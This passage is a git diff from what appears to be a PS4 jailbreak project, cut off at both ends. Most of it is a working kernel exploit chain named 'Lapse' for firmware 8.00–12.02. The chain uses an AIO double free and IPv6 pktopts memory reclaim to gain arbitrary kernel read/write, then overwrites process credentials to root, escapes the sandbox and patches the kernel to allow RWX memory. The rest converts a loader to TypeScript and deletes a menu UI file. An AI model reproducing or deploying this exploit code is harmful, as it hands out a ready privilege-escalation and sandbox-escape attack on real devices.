(let i = 0; i < NUM_ALIAS; i++) { + for (let j = 0; j < sds.length; j++) { + set_rthdr(sds[j]!, reqs2, rsize) + } + // log("before for batch = 0 ...") + for (let batch = 0; batch < addr_cache.length; batch++) { + for (let j = 0; j < num_elems; j++) { + write32(states.add(j * 4), 0xFFFFFFFF) + } + + aio_multi_cancel_fun(addr_cache[batch]!, num_elems, states) + + let req_idx = -1 + for (let j = 0; j < num_elems; j++) { + const val = read32(states.add(j * 4)) + if (val === AIO_STATE_COMPLETE) { + req_idx = j + break + } + } + + if (req_idx !== -1) { + log('Found req_id at batch ' + batch + ', attempt ' + i) + const aio_idx = batch * num_elems + req_idx + const req_id_p = aio_ids.add(aio_idx * 4) + const req_id = read32(req_id_p) + + aio_multi_poll_fun(req_id_p, 1, states) + write32(req_id_p, 0) + return req_id + } + } + } + + return null + } + + const req_id = overwrite_aio_entry_with_rthdr() + if (req_id === null) { + log('Failed to overwrite AIO queue entry') + return null + } + + free_aios2(aio_ids, aio_ids_len) + + const target_id_p = malloc(4) + write32(target_id_p, target_id) + + aio_multi_poll_fun(target_id_p, 1, states) + + const sce_errs = malloc(8) + write32(sce_errs, 0xFFFFFFFF) // -1 + write32(sce_errs.add(4), 0xFFFFFFFF) // -1 + + const target_ids = malloc(8) + write32(target_ids, req_id) + write32(target_ids.add(4), target_id) + + log('Triggering double free...') + aio_multi_delete_fun(target_ids, 2, sce_errs) + + log('Reclaiming memory...') + + const sd_pair = make_aliased_pktopts(sds_alt) + + const err1 = read32(sce_errs) + const err2 = read32(sce_errs.add(4)) + + write32(states, 0xFFFFFFFF) // -1 + write32(states.add(4), 0xFFFFFFFF) // -1 + + aio_multi_poll_fun(target_ids, 2, states) + + let success = true + if (read32(states) !== SCE_KERNEL_ERROR_ESRCH) { + log('ERROR: Bad delete of corrupt AIO request') + success = false + } + + if (err1 !== 0 || err1 !== err2) { + log('ERROR: Bad delete of ID pair') + success = false + } + + if (!success) { + log('Double free failed') + return null + } + + if (sd_pair === null) { + log('Failed to make aliased pktopts') + return null + } + + return sd_pair +} + +// Stage 4 + +function make_kernel_arw (pktopts_sds: BigInt[], reqs1_addr: BigInt, kernel_addr: BigInt, sds: BigInt[], sds_alt: BigInt[], aio_info_addr: BigInt) { + try { + const kernelOffset = kernel_offset + if (!kernelOffset || !kernelOffset.IP6PO_TCLASS || !kernelOffset.PROC_PID || !kernelOffset.PROC_FD || !kernelOffset.FILEDESC_OFILES || !kernelOffset.SO_PCB || !kernelOffset.INPCB_PKTOPTS || !kernelOffset.SIZEOF_OFILES || !kernelOffset.IP6PO_RTHDR) { + throw new Error('kernel_offset not initialized') + } + const master_sock = pktopts_sds[0]! + const tclass = malloc(4) + const off_tclass = kernelOffset.IP6PO_TCLASS + + const pktopts_size = 0x100 + const pktopts = malloc(pktopts_size) + const rsize = build_rthdr(pktopts, pktopts_size) + const pktinfo_p = reqs1_addr.add(0x10) + + // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo + write64(pktopts.add(0x10), pktinfo_p) + + log('Overwriting main pktopts') + let reclaim_sock = null + + close(pktopts_sds[1]!) + + for (let i = 1; i <= NUM_ALIAS; i++) { + for (let j = 0; j < sds_alt.length; j++) { + write32(pktopts.add(off_tclass), 0x4141 | (j << 16)) + set_rthdr(sds_alt[j]!, pktopts, rsize) + } + + get_sockopt(master_sock, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) + const marker = read32(tclass) + if ((marker & 0xffff) === 0x4141) { + log('Found reclaim socket at attempt: ' + i) + const idx = Number(marker >> 16) + reclaim_sock = sds_alt[idx] + sds_alt.splice(idx, 1) + break + } + } + + if (reclaim_sock === null) { + log('Failed to overwrite main pktopts') + return null + } + + const pktinfo_len = 0x14 + const pktinfo = malloc(pktinfo_len) + write64(pktinfo, pktinfo_p) + + const read_buf = malloc(8) + + const slow_kread8 = (addr: BigInt) => { + const len = 8 + let offset = 0 + + while (offset < len) { + // pktopts.ip6po_nhinfo = addr + offset + write64(pktinfo.add(8), addr.add(offset)) + + set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) + const n = get_sockopt(master_sock, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf.add(offset), len - offset) + + if (n === 0) { + write8(read_buf.add(offset), 0) + offset = offset + 1 + } else { + offset = offset + Number(n) + } + } + + return read64(read_buf) + } + + const test_read = slow_kread8(kernel_addr) + log('slow_kread8("evf cv"): ' + hex(test_read)) + const kstr = read_cstring(read_buf) + log('*("evf cv"): ' + kstr) + + if (kstr !== 'evf cv') { + log('Test read of "evf cv" failed') + return null + } + + log('Slow arbitrary kernel read achieved') + + // Get curproc from previously freed aio_info + const curproc = slow_kread8(aio_info_addr.add(8)) + + if (Number(curproc.shr(48)) !== 0xffff) { + log('Invalid curproc kernel address: ' + hex(curproc)) + return null + } + + const possible_pid = Number(slow_kread8(curproc.add(kernelOffset.PROC_PID))) + const current_pid = Number(getpid()) + + if ((possible_pid & 0xffffffff) !== (current_pid & 0xffffffff)) { + log('curproc verification failed: ' + hex(curproc)) + return null + } + + log('curproc = ' + hex(curproc)) + + kernel.addr.curproc = curproc + kernel.addr.curproc_fd = slow_kread8((kernel.addr.curproc).add(kernelOffset.PROC_FD)) + kernel.addr.curproc_ofiles = slow_kread8(kernel.addr.curproc_fd).add(kernelOffset.FILEDESC_OFILES) + kernel.addr.inside_kdata = kernel_addr + + const get_fd_data_addr = (sock: BigInt, kread8_fn: (addr: BigInt) => BigInt | null) => { + const filedescent_addr = (kernel.addr.curproc_ofiles!).add(Number(sock) * kernelOffset.SIZEOF_OFILES!) + const file_addr = kread8_fn(filedescent_addr.add(0))! + return kread8_fn(file_addr.add(0))! + } + + const get_sock_pktopts = (sock: BigInt, kread8_fn: (addr: BigInt) => BigInt | null) => { + const fd_data = get_fd_data_addr(sock, kread8_fn) + const pcb = kread8_fn(fd_data.add(kernelOffset.SO_PCB!))! + const pktopts = kread8_fn(pcb.add(kernelOffset.INPCB_PKTOPTS!))! + return pktopts + } + + const worker_sock = new_socket() + const worker_pktinfo = malloc(pktinfo_len) + + // Create pktopts on worker_sock + set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, worker_pktinfo, pktinfo_len) + + const worker_pktopts = get_sock_pktopts(worker_sock, slow_kread8) + + write64(pktinfo, worker_pktopts.add(0x10)) // overlap pktinfo + write64(pktinfo.add(8), 0) // clear .ip6po_nexthop + + set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) + + const kread20 = (addr: BigInt, buf: BigInt) => { + write64(pktinfo, addr) + set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) + get_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len) + } + + const kwrite20 = (addr: BigInt, buf: BigInt) => { + write64(pktinfo, addr) + set_sockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, pktinfo_len) + set_sockopt(worker_sock, IPPROTO_IPV6, IPV6_PKTINFO, buf, pktinfo_len) + } + + const kread8 = (addr: BigInt) => { + kread20(addr, worker_pktinfo) + return read64(worker_pktinfo) + } + + // Note: this will write our 8 bytes + remaining 12 bytes as null + const restricted_kwrite8 = (addr: BigInt, val: BigInt) => { + write64(worker_pktinfo, val) + write64(worker_pktinfo.add(8), 0) + write32(worker_pktinfo.add(16), 0) + kwrite20(addr, worker_pktinfo) + } + + write64(read_buf, kread8(kernel_addr)) + + const kstr2 = read_cstring(read_buf) + if (kstr2 !== 'evf cv') { + log('Test read of "evf cv" failed') + return null + } + + log('Restricted kernel r/w achieved') + + // Initialize ipv6_kernel_rw with restricted write + ipv6_kernel_rw.init(kernel.addr.curproc_ofiles, kread8, restricted_kwrite8) + + kernel.read_buffer = ipv6_kernel_rw.read_buffer + kernel.write_buffer = ipv6_kernel_rw.write_buffer + kernel.copyout = ipv6_kernel_rw.copyout + kernel.copyin = ipv6_kernel_rw.copyin + + const kstr3 = kernel.read_null_terminated_string(kernel_addr) + if (kstr3 !== 'evf cv') { + log('Test read of "evf cv" failed') + return null + } + + log('Arbitrary kernel r/w achieved!') + + // RESTORE: clean corrupt pointers + const off_ip6po_rthdr = kernelOffset.IP6PO_RTHDR + + for (let i = 0; i < sds.length; i++) { + const sock_pktopts = get_sock_pktopts(sds[i]!, kernel.read_qword) + kernel.write_qword(sock_pktopts.add(off_ip6po_rthdr), 0) + } + + const reclaimer_pktopts = get_sock_pktopts(reclaim_sock!, kernel.read_qword) + + kernel.write_qword(reclaimer_pktopts.add(off_ip6po_rthdr), 0) + kernel.write_qword(worker_pktopts.add(off_ip6po_rthdr), 0) + + const sock_increase_ref = [ + ipv6_kernel_rw.data.master_sock!, + ipv6_kernel_rw.data.victim_sock!, + master_sock, + worker_sock, + reclaim_sock! + ] + + // Increase ref counts to prevent deallocation + for (const each of sock_increase_ref) { + const sock_addr = get_fd_data_addr(each, kernel.read_qword) + kernel.write_dword(sock_addr.add(0x0), 0x100) // so_count + } + + log('Fixes applied') + + return true + } catch (e) { + log('make_kernel_arw error: ' + (e as Error).message) + log((e as Error).stack ?? '') + return null + } +} + +export function lapse () { + try { + log('=== PS4 Lapse Jailbreak ===') + + FW_VERSION = get_fwversion() + log('Detected PS4 firmware: ' + FW_VERSION) + + if (FW_VERSION === null) { + log('Failed to detect PS4 firmware version.\nAborting...') + send_notification('Failed to detect PS4 firmware version.\nAborting...') + return false + } + + const compare_version = (a: string, b: string) => { + const a_arr = a.split('.') + const amaj = Number(a_arr[0]) + const amin = Number(a_arr[1]) + const b_arr = b.split('.') + const bmaj = Number(b_arr[0]) + const bmin = Number(b_arr[1]) + return amaj === bmaj ? amin - bmin : amaj - bmaj + } + + if (compare_version(FW_VERSION, '8.00') < 0 || compare_version(FW_VERSION, '12.02') > 0) { + log('Unsupported PS4 firmware\nSupported: 8.00-12.02\nAborting...') + send_notification('Unsupported PS4 firmware\nAborting...') + return false + } + + kernel_offset = get_kernel_offset(FW_VERSION) + log('Kernel offsets loaded for FW ' + FW_VERSION) + + // === STAGE 0: Setup === + log('=== STAGE 0: Setup ===') + + const setup_success = setup() + if (!setup_success) { + log('Setup failed') + send_notification('Lapse: Setup failed') + return false + } + log('Setup completed') + + log('') + log('=== STAGE 1: Double-free AIO ===') + + sd_pair = double_free_reqs2() + + if (sd_pair === null) { + log('[FAILED] Stage 1') + send_notification('Lapse: FAILED at Stage 1') + return false + } + log('Stage 1 completed') + + if (sds === null) { + log('Failed to create socket list') + send_notification('Lapse: FAILED at Stage 1 (sds creation)') + return false + } + + log('') + log('=== STAGE 2: Leak kernel addresses ===') + const leak_result = leak_kernel_addrs(sd_pair, sds) + if (leak_result === null) { + log('Stage 2 kernel address leak failed') + cleanup_fail() + return false + } + log('Stage 2 completed') + log('Leaked addresses:') + log(' reqs1_addr: ' + hex(leak_result.reqs1_addr)) + log(' kbuf_addr: ' + hex(leak_result.kbuf_addr)) + log(' kernel_addr: ' + hex(leak_result.kernel_addr)) + log(' target_id: ' + hex(leak_result.target_id)) + log(' fake_reqs3_addr: ' + hex(leak_result.fake_reqs3_addr)) + log(' aio_info_addr: ' + hex(leak_result.aio_info_addr)) + log(' evf: ' + hex(leak_result.evf)) + + log('') + log('=== STAGE 3: Double free SceKernelAioRWRequest ===') + const pktopts_sds = double_free_reqs1( + leak_result.reqs1_addr, + leak_result.target_id, + leak_result.evf, + new BigInt(sd_pair[0]), + sds!, + sds_alt!, + leak_result.fake_reqs3_addr + ) + + close(leak_result.fake_reqs3_sd!) + + if (pktopts_sds === null) { + log('Stage 3 double free SceKernelAioRWRequest failed') + cleanup_fail() + return false + } + + log('Stage 3 completed!') + log('Aliased socket pair: ' + hex(pktopts_sds[0]) + ', ' + hex(pktopts_sds[1])) + + log('') + log('=== STAGE 4: Get arbitrary kernel read/write ===') + + const arw_result = make_kernel_arw( + pktopts_sds, + leak_result.reqs1_addr, + leak_result.kernel_addr, + sds, + sds_alt!, + leak_result.aio_info_addr + ) + + if (arw_result === null) { + log('Stage 4 get arbitrary kernel read/write failed') + cleanup_fail() + return false + } + + log('Stage 4 completed!') + + log('') + log('=== STAGE 5: Jailbreak ===') + + const OFFSET_P_UCRED = 0x40 + const proc = kernel.addr.curproc + + if (!proc || !kernel.addr.inside_kdata) { + throw new Error('kernel addresses not initialized') + } + + // Calculate kernel base + kernel.addr.base = kernel.addr.inside_kdata.sub(kernel_offset.EVF_OFFSET) + log('Kernel base: ' + hex(kernel.addr.base)) + + const uid_before = Number(getuid()) + const sandbox_before = Number(is_in_sandbox()) + log('BEFORE: uid=' + uid_before + ', sandbox=' + sandbox_before) + + // Patch ucred + const proc_fd = kernel.read_qword(proc.add(kernel_offset.PROC_FD!))! + const ucred = kernel.read_qword(proc.add(OFFSET_P_UCRED))! + + kernel.write_dword(ucred.add(0x04), 0) // cr_uid + kernel.write_dword(ucred.add(0x08), 0) // cr_ruid + kernel.write_dword(ucred.add(0x0C), 0) // cr_svuid + kernel.write_dword(ucred.add(0x10), 1) // cr_ngroups + kernel.write_dword(ucred.add(0x14), 0) // cr_rgid + + const prison0 = kernel.read_qword(kernel.addr.base.add(kernel_offset.PRISON0))! + kernel.write_qword(ucred.add(0x30), prison0) + + kernel.write_qword(ucred.add(0x60), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) // sceCaps + kernel.write_qword(ucred.add(0x68), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) + + const rootvnode = kernel.read_qword(kernel.addr.base.add(kernel_offset.ROOTVNODE))! + kernel.write_qword(proc_fd.add(0x10), rootvnode) // fd_rdir + kernel.write_qword(proc_fd.add(0x18), rootvnode) // fd_jdir + + const uid_after = Number(getuid()) + const sandbox_after = Number(is_in_sandbox()) + log('AFTER: uid=' + uid_after + ', sandbox=' + sandbox_after) + + if (uid_after === 0 && sandbox_after === 0) { + log('Sandbox escape complete!') + } else { + log('[WARNING] Sandbox escape may have failed') + } + + // === Apply kernel patches via kexec === + // Uses syscall_raw() which sets rax manually for syscalls without gadgets + log('Applying kernel patches...') + const kpatch_result = apply_kernel_patches(FW_VERSION) + if (kpatch_result) { + log('Kernel patches applied successfully!') + + // Comprehensive kernel patch verification + log('Verifying kernel patches...') + let all_patches_ok = true + + // 1. Verify mmap RWX patch (0x33 -> 0x37 at two locations) + const mmap_offsets = get_mmap_patch_offsets(FW_VERSION) + if (mmap_offsets) { + const b1 = ipv6_kernel_rw.ipv6_kread8(kernel.addr.base.add(mmap_offsets[0])) + const b2 = ipv6_kernel_rw.ipv6_kread8(kernel.addr.base.add(mmap_offsets[1])) + const byte1 = Number(b1.and(0xff)) + const byte2 = Number(b2.and(0xff)) + if (byte1 === 0x37 && byte2 === 0x37) { + log(' [OK] mmap RWX patch') + } else { + log(' [FAIL] mmap RWX: [' + hex(mmap_offsets[0]) + ']=' + hex(byte1) + ' [' + hex(mmap_offsets[1]) + ']=' + hex(byte2)) + all_patches_ok = false + } + } else { + log(' [SKIP] mmap RWX (no offsets for FW ' + FW_VERSION + ')') + } + + // 2. Test mmap RWX actually works by trying to allocate RWX memory + try { + const PROT_RWX = 0x7 // READ | WRITE | EXEC + const MAP_ANON = 0x1000 + const MAP_PRIVATE = 0x2 + const test_addr = mmap(new BigInt(0), 0x1000, PROT_RWX, MAP_PRIVATE | MAP_ANON, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0) + if (Number(test_addr.shr(32)) < 0xffff8000) { + log(' [OK] mmap RWX functional @ ' + hex(test_addr)) + // Unmap the test allocation + munmap(test_addr, 0x1000) + } else { + log(' [FAIL] mmap RWX functional: ' + hex(test_addr)) + all_patches_ok = false + } + } catch (e) { + log(' [FAIL] mmap RWX test error: ' + (e as Error).message) + all_patches_ok = false + } + + if (all_patches_ok) { + log('All kernel patches verified OK!') + } else { + log('[WARNING] Some kernel patches may have failed') + } + } else { + log('[WARNING] Kernel patches failed - continuing without patches') + } + + log('Stage 5 completed - JAILBROKEN') + // utils.notify("The Vue-after-Free team congratulates you\nLapse Finished OK\nEnjoy freedom"); + + cleanup() + + return true + } catch (e) { + log('Lapse error: ' + (e as Error).message) + alert('Lapse error: ' + (e as Error).message) + utils.notify('Reboot and try again!') + log((e as Error).stack ?? '') + return false + } +} + +function cleanup () { + log('Performing cleanup...') + + try { + if (block_fd !== 0xffffffff) { + close(new BigInt(block_fd)) + block_fd = 0xffffffff + } + + if (unblock_fd !== 0xffffffff) { + close(new BigInt(unblock_fd)) + unblock_fd = 0xffffffff + } + + if (typeof groom_ids !== 'undefined') { + if (groom_ids !== null) { + const groom_ids_addr = malloc(4 * NUM_GROOMS) + for (let i = 0; i < NUM_GROOMS; i++) { + write32(groom_ids_addr.add(i * 4), groom_ids[i]!) + } + free_aios2(groom_ids_addr, NUM_GROOMS) + groom_ids = null + } + } + + if (block_id !== 0xffffffff) { + const block_id_buf = malloc(4) + write32(block_id_buf, block_id) + const block_errors = malloc(4) + aio_multi_wait_fun(block_id_buf, 1, block_errors, 1, 0) + aio_multi_delete_fun(block_id_buf, 1, block_errors) + block_id = 0xffffffff + } + + if (sds !== null) { + for (const sd of sds) { + close(sd) + } + sds = null + } + + if (sds_alt !== null) { + for (const sd of sds_alt) { + close(sd) + } + sds_alt = null + } + + if (sd_pair !== null) { + close(sd_pair[0]) + close(sd_pair[1]) + } + sd_pair = null + + if (prev_core >= 0) { + log('Restoring to previous core: ' + prev_core) + pin_to_core(prev_core) + prev_core = -1 + } + + set_rtprio(prev_rtprio) + + log('Cleanup completed') + } catch (e) { + log('Error during cleanup: ' + (e as Error).message) + } +} + +function cleanup_fail () { + utils.notify('Lapse Failed! reboot and try again! UwU') + jsmaf.root.children.push(bg_fail) + cleanup() +} diff --git a/src/download0/loader.js b/src/download0/loader.ts similarity index 57% rename from src/download0/loader.js rename to src/download0/loader.ts index 636614e..798edf8 100644 --- a/src/download0/loader.js +++ b/src/download0/loader.ts @@ -1,3 +1,10 @@ +import { libc_addr } from 'download0/userland' +import { stats } from 'download0/stats-tracker' +import { fn, mem, BigInt, utils } from 'download0/types' +import { sysctlbyname } from 'download0/kernel' +import { lapse } from 'download0/lapse' +import { binloader_init } from 'download0/binloader' + // Load binloader first (just defines the function, doesn't execute) // Now load userland and lapse @@ -8,48 +15,45 @@ if (typeof libc_addr === 'undefined') { include('stats-tracker.js') include('binloader.js') include('lapse.js') +include('kernel.js') // Increment total attempts stats.load() -function show_success () { +export function show_success () { jsmaf.root.children.push(bg_success) log('Logging Success...') stats.incrementSuccess() } -var audio = new jsmaf.AudioClip() +const audio = new jsmaf.AudioClip() audio.volume = 0.5 // 50% volume audio.open('file://../download0/sfx/bgm.wav') function isJailbroken () { // Register syscalls - try { fn.register(24, 'getuid', 'bigint') } catch (e) {} - try { fn.register(23, 'setuid', 'bigint') } catch (e) {} + fn.register(24, 'getuid', [], 'bigint') + fn.register(23, 'setuid', ['number'], 'bigint') // Get current UID - var uid_before = fn.getuid() - var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before + const uid_before = fn.getuid() + const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before log('UID before setuid: ' + uid_before_val) // Try to set UID to 0 (root) - catch EPERM if not jailbroken log('Attempting setuid(0)...') - var setuid_success = false - var error_msg = null try { - var setuid_result = fn.setuid(0) - var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result + const setuid_result = fn.setuid(0) + const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result log('setuid returned: ' + setuid_ret) - setuid_success = (setuid_ret === 0) } catch (e) { - error_msg = e.toString() - log('setuid threw exception: ' + error_msg) + log('setuid threw exception: ' + (e as Error).toString()) } // Get UID after setuid attempt - var uid_after = fn.getuid() - var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after + const uid_after = fn.getuid() + const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after log('UID after setuid: ' + uid_after_val) if (uid_after_val === 0) { @@ -61,68 +65,39 @@ function isJailbroken () { } } -var is_jailbroken = isJailbroken() +const is_jailbroken = isJailbroken() // Check if exploit has completed successfully function is_exploit_complete () { // Check if we're actually jailbroken - if (typeof getuid !== 'undefined' && typeof is_in_sandbox !== 'undefined') { - try { - var uid = getuid() - var sandbox = is_in_sandbox() - // Should be root (uid=0) and not sandboxed (0) - if (!uid.eq(0) || !sandbox.eq(0)) { - return false - } - } catch (e) { + fn.register(24, 'getuid', [], 'bigint') + fn.register(585, 'is_in_sandbox', [], 'bigint') + try { + const uid = fn.getuid() + const sandbox = fn.is_in_sandbox() + // Should be root (uid=0) and not sandboxed (0) + if (!uid.eq(0) || !sandbox.eq(0)) { return false } + } catch (e) { + return false } return true } -function write8 (addr, val) { - mem.view(addr).setUint8(0, val & 0xFF, true) -} - -function write16 (addr, val) { - mem.view(addr).setUint16(0, val & 0xFFFF, true) -} - -function write32 (addr, val) { - mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true) -} - -function write64 (addr, val) { +function write64 (addr: BigInt, val: BigInt | number) { mem.view(addr).setBigInt(0, new BigInt(val), true) } -function read8 (addr) { - return mem.view(addr).getUint8(0, true) +function read8 (addr: BigInt) { + return mem.view(addr).getUint8(0) } -function read16 (addr) { - return mem.view(addr).getUint16(0, true) -} - -function read32 (addr) { - return mem.view(addr).getUint32(0, true) -} - -function read64 (addr) { - return mem.view(addr).getBigInt(0, true) -} - -function malloc (size) { +function malloc (size: number) { return mem.malloc(size) } -function hex (val) { - if (val instanceof BigInt) { return val.toString() } - return '0x' + val.toString(16).padStart(2, '0') -} - function get_fwversion () { const buf = malloc(0x8) const size = malloc(0x8) @@ -138,15 +113,20 @@ function get_fwversion () { return null } -FW_VERSION = get_fwversion() +const FW_VERSION: string | null = get_fwversion() -function compare_version (a, b) { +if (FW_VERSION === null) { + log('ERROR: Failed to determine FW version') + throw new Error('Failed to determine FW version') +} + +const compare_version = (a: string, b: string) => { const a_arr = a.split('.') - const amaj = a_arr[0] - const amin = a_arr[1] + const amaj = Number(a_arr[0]) + const amin = Number(a_arr[1]) const b_arr = b.split('.') - const bmaj = b_arr[0] - const bmin = b_arr[1] + const bmaj = Number(b_arr[0]) + const bmin = Number(b_arr[1]) return amaj === bmaj ? amin - bmin : amaj - bmaj } @@ -169,12 +149,12 @@ if (!is_jailbroken) { include('netctrl_c0w_twins.js') } - var start_time = Date.now() - var max_wait_seconds = 5 - var max_wait_ms = max_wait_seconds * 1000 + const start_time = Date.now() + const max_wait_seconds = 5 + const max_wait_ms = max_wait_seconds * 1000 while (!is_exploit_complete()) { - var elapsed = Date.now() - start_time + const elapsed = Date.now() - start_time if (elapsed > max_wait_ms) { log('ERROR: Timeout waiting for exploit to complete (' + max_wait_seconds + ' seconds)') @@ -182,13 +162,13 @@ if (!is_jailbroken) { } // Poll every 500ms - var poll_start = Date.now() + const poll_start = Date.now() while (Date.now() - poll_start < 500) { // Busy wait } } show_success() - var total_wait = ((Date.now() - start_time) / 1000).toFixed(1) + const total_wait = ((Date.now() - start_time) / 1000).toFixed(1) log('Exploit completed successfully after ' + total_wait + ' seconds') } else { utils.notify('Already Jailbroken!') @@ -203,10 +183,10 @@ try { log('Starting AIO FIX...') } catch (e) { log('ERROR: Failed to initialize binloader') - log('Error message: ' + e.message) - log('Error name: ' + e.name) - if (e.stack) { - log('Stack trace: ' + e.stack) + log('Error message: ' + (e as Error).message) + log('Error name: ' + (e as Error).name) + if ((e as Error).stack) { + log('Stack trace: ' + (e as Error).stack) } throw e } diff --git a/src/download0/main-menu.js b/src/download0/main-menu.js deleted file mode 100644 index 33c4a68..0000000 --- a/src/download0/main-menu.js +++ /dev/null @@ -1,292 +0,0 @@ -(function () { - include('languages.js') - log(lang.loadingMainMenu) - - var currentButton = 0 - var buttons = [] - var buttonTexts = [] - var buttonMarkers = [] - var buttonOrigPos = [] - var textOrigPos = [] - - var normalButtonImg = 'file:///assets/img/button_over_9.png' - var selectedButtonImg = 'file:///assets/img/button_over_9.png' - - jsmaf.root.children.length = 0 - - new Style({name: 'white', color: 'white', size: 24}) - new Style({name: 'title', color: 'white', size: 32}) - - var audio = new jsmaf.AudioClip() - audio.volume = 0.5 // 50% volume - audio.open('file://../download0/sfx/bgm.wav') - - var background = new Image({ - url: 'file:///../download0/img/multiview_bg_VAF.png', - x: 0, - y: 0, - width: 1920, - height: 1080 - }) - jsmaf.root.children.push(background) - - var centerX = 960 - var logoWidth = 600 - var logoHeight = 338 - - var logo = new Image({ - url: 'file:///../download0/img/logo.png', - x: centerX - logoWidth / 2, - y: 50, - width: logoWidth, - height: logoHeight - }) - jsmaf.root.children.push(logo) - - var menuOptions = [ - { label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' }, - { label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' }, - { label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' } - ] - - var startY = 450 - var buttonSpacing = 120 - var buttonWidth = 400 - var buttonHeight = 80 - - for (var i = 0; i < menuOptions.length; i++) { - var btnX = centerX - buttonWidth / 2 - var btnY = startY + i * buttonSpacing - - var button = new Image({ - url: normalButtonImg, - x: btnX, - y: btnY, - width: buttonWidth, - height: buttonHeight - }) - buttons.push(button) - jsmaf.root.children.push(button) - - var marker = new Image({ - url: 'file:///assets/img/ad_pod_marker.png', - x: btnX + buttonWidth - 50, - y: btnY + 35, - width: 12, - height: 12, - visible: false - }) - buttonMarkers.push(marker) - jsmaf.root.children.push(marker) - - var btnText = new jsmaf.Text() - btnText.text = menuOptions[i].label - btnText.x = btnX + buttonWidth / 2 - 60 - btnText.y = btnY + buttonHeight / 2 - 12 - btnText.style = 'white' - buttonTexts.push(btnText) - jsmaf.root.children.push(btnText) - - buttonOrigPos.push({x: btnX, y: btnY}) - textOrigPos.push({x: btnText.x, y: btnText.y}) - } - - var exitX = centerX - buttonWidth / 2 - var exitY = startY + menuOptions.length * buttonSpacing + 100 - - var exitButton = new Image({ - url: normalButtonImg, - x: exitX, - y: exitY, - width: buttonWidth, - height: buttonHeight - }) - buttons.push(exitButton) - jsmaf.root.children.push(exitButton) - - var exitMarker = new Image({ - url: 'file:///assets/img/ad_pod_marker.png', - x: exitX + buttonWidth - 50, - y: exitY + 35, - width: 12, - height: 12, - visible: false - }) - buttonMarkers.push(exitMarker) - jsmaf.root.children.push(exitMarker) - - var exitText = new jsmaf.Text() - exitText.text = lang.exit - exitText.x = exitX + buttonWidth / 2 - 20 - exitText.y = exitY + buttonHeight / 2 - 12 - exitText.style = 'white' - buttonTexts.push(exitText) - jsmaf.root.children.push(exitText) - - buttonOrigPos.push({x: exitX, y: exitY}) - textOrigPos.push({x: exitText.x, y: exitText.y}) - - var zoomInInterval = null - var zoomOutInterval = null - var prevButton = -1 - - function easeInOut (t) { - return (1 - Math.cos(t * Math.PI)) / 2 - } - - function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) { - if (zoomInInterval) jsmaf.clearInterval(zoomInInterval) - var btnW = buttonWidth - var btnH = buttonHeight - var startScale = btn.scaleX || 1.0 - var endScale = 1.1 - var duration = 175 - var elapsed = 0 - var step = 16 - - zoomInInterval = jsmaf.setInterval(function () { - elapsed += step - var t = Math.min(elapsed / duration, 1) - var eased = easeInOut(t) - var scale = startScale + (endScale - startScale) * eased - - btn.scaleX = scale - btn.scaleY = scale - btn.x = btnOrigX - (btnW * (scale - 1)) / 2 - btn.y = btnOrigY - (btnH * (scale - 1)) / 2 - text.scaleX = scale - text.scaleY = scale - text.x = textOrigX - (btnW * (scale - 1)) / 2 - text.y = textOrigY - (btnH * (scale - 1)) / 2 - - if (t >= 1) { - jsmaf.clearInterval(zoomInInterval) - zoomInInterval = null - } - }, step) - } - - function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) { - if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval) - var btnW = buttonWidth - var btnH = buttonHeight - var startScale = btn.scaleX || 1.1 - var endScale = 1.0 - var duration = 175 - var elapsed = 0 - var step = 16 - - zoomOutInterval = jsmaf.setInterval(function () { - elapsed += step - var t = Math.min(elapsed / duration, 1) - var eased = easeInOut(t) - var scale = startScale + (endScale - startScale) * eased - - btn.scaleX = scale - btn.scaleY = scale - btn.x = btnOrigX - (btnW * (scale - 1)) / 2 - btn.y = btnOrigY - (btnH * (scale - 1)) / 2 - text.scaleX = scale - text.scaleY = scale - text.x = textOrigX - (btnW * (scale - 1)) / 2 - text.y = textOrigY - (btnH * (scale - 1)) / 2 - - if (t >= 1) { - jsmaf.clearInterval(zoomOutInterval) - zoomOutInterval = null - } - }, step) - } - - function updateHighlight () { - // Animate out the previous button - if (prevButton >= 0 && prevButton !== currentButton) { - buttons[prevButton].url = normalButtonImg - buttons[prevButton].alpha = 0.7 - buttons[prevButton].borderColor = 'transparent' - buttons[prevButton].borderWidth = 0 - buttonMarkers[prevButton].visible = false - animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y) - } - - // Set styles for all buttons - for (var i = 0; i < buttons.length; i++) { - if (i === currentButton) { - buttons[i].url = selectedButtonImg - buttons[i].alpha = 1.0 - buttons[i].borderColor = 'rgb(100,180,255)' - buttons[i].borderWidth = 3 - buttonMarkers[i].visible = true - animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y) - } else if (i !== prevButton) { - buttons[i].url = normalButtonImg - buttons[i].alpha = 0.7 